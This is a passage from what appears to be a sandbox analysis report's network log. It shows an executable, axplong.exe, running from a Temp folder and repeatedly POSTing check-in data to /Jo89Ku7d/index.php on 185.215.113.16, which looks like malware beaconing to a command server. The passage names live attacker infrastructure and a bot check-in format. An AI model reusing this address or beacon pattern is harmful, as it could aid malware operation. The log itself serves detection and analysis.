                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            120192.168.2.449857185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:03.049058914 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:03.746371984 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:03 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            121192.168.2.449858185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:03.759526968 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:04.477015972 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:04 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            122192.168.2.449859185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:04.598093033 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:05.300879002 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:05 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            123192.168.2.449860185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:05.373241901 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:06.084554911 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:05 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            124192.168.2.449861185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:06.204896927 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:06.932554960 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:06 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            125192.168.2.449862185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:06.941968918 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:07.655658007 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:07 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            126192.168.2.449863185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:07.783236027 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:08.543771982 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:08 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            127192.168.2.449864185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:08.555716991 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:09.286997080 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:09 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            128192.168.2.449865185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:09.404624939 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:10.114869118 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:09 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            129192.168.2.449866185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:10.125747919 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:10.839104891 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:10 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            130192.168.2.449867185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:10.954468966 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:11.760190964 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:11 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            131192.168.2.449868185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:11.770865917 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:12.477088928 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:12 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            132192.168.2.449869185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:12.594504118 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:13.660491943 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:13 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:22:13.660800934 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:13 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            133192.168.2.449870185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:13.676693916 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:14.409393072 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:14 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            134192.168.2.449871185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:14.531524897 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:15.275371075 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:15 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            135192.168.2.449872185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:15.285841942 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:16.013859034 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:15 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            136192.168.2.449873185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:16.127762079 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:17.020210028 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:16 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            137192.168.2.449874185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:17.033510923 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:17.730068922 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:17 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            138192.168.2.449875185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:17.849818945 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:18.551917076 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:18 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            139192.168.2.449876185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:18.563806057 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:19.312752962 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:19 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            140192.168.2.449877185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:19.439033985 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:20.143074036 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:20 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            141192.168.2.449878185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:20.154675007 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:20.868308067 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:20 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
